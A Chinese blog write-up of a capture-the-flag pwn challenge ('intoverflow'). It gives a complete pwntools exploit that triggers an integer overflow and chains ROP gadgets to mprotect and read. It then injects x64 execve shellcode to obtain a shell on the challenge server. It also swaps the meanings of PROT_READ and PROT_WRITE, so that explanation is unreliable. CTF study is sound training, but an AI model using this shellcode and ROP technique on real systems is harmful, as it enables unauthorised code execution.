MENU

Catalog

    UNCTF 练习场 整形溢出 intoverflow Writeup

    November 5, 2020 • Read: 753 • Pwn

    这道题好像算是静态编译的题目,也就是使用到libc里面的函数都被静态的链接到了程序中,但是没有system函数,而且由于没有libc,所以one_gadget也是难以完成。
    我这里使用的办法是,先用

    int mprotect(const void *start, size_t len, int prot);

    来达到修改内存段可读可写可执行目的,这个函数错误的时候返回-1,正确的时候返回0。
    在我刚开始使用的时候就一直报错,无法成功的修改,最后发现这个问题在于start传入的地址需要对内存页对齐,常见的也就是0x1000对齐,然后这个len就不用说了,一般申请0x1000就足够了。

    prot可以取以下几个值,并且可以用“|”将几个属性合起来使用:
    1.PROT_READ(0x1):表示内存段内的内容可写;
    2.PROT_WRITE(0x2):表示内存段内的内容可读;
    3.PROT_EXEC(0x4):表示内存段中的内容可执行;
    4.PROT_NONE(0x0):表示内存段中的内容没有权限。

    其对应的值分别如上,所以如果我们需要rwx,那么就是 1 | 2 | 4 = 7,所以我们把prot传入7。
    顺便一提:x64传参顺序是,RDI RSI RDX RCX R8 R9,如果这几个还不够就要类似于x86使用堆栈的方法了。
    所以在x64中调用函数比x86中稍微复杂一点,需要找到对应的ROP。

    ROPgadget --binary intoverflow | grep "pop rdi ; ret"
    ROPgadget --binary intoverflow | grep "pop rsi ; ret"
    ROPgadget --binary intoverflow | grep "pop rdx ; ret"

    可以用这几个命令找到我下面所给出的几个地址。
    然后代码中的shellcode好像是目前x64最短的shellcode,效果还不错,没有出锅过。
    这道题用shellcode = asm(shellcraft.sh())好像不能成功getshell,原因未知。
    然后我看各位博客里都是把shellcode写在bss段中,所以我就跟风一下了,估计是因为写在其他地方怕覆盖掉什么有用的东西吧。

    最后附上这道题参考的链接:
    静态链接 + mprotect

    from pwn import *
    from LibcSearcher import *
    #r = process('./intoverflow')
    elf = ELF('./intoverflow')
    r = remote("120.79.17.251", 10012)
    r.sendlineafter("> ", str(999999999999999))
    #elf.sym['system']
    #0x6ca000
    pop_rdi_addr = 0x401696
    pop_rsi_addr = 0x4017b7
    pop_rdx_addr = 0x442e46
    mp_addr = 0x6CA000
    bss_addr = 0x06CBB60
    mprotect_addr = 0x440520
    read_addr = 0x43F9D0
    payload = 'a' * 0x58 + p64(pop_rdi_addr) + p64(mp_addr) + p64(pop_rsi_addr) + p64(0x2000) + p64(pop_rdx_addr) + p64(7) + p64(mprotect_addr)
    payload += p64(pop_rdi_addr) + p64(0)+ p64(pop_rsi_addr) + p64(bss_addr) + p64(pop_rdx_addr) + p64(0x1000) + p64(read_addr) + p64(bss_addr)
    
    #gdb.attach(r)
    r.sendlineafter("> ", payload)
    sleep(1)
    shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
    r.send(shellcode)
    #stdin_addr = u64(r.recv(3).ljust(8, "\x00"))
    r.interactive()
    
    Archives QR Code
    QR Code for this page
    Tipping QR Code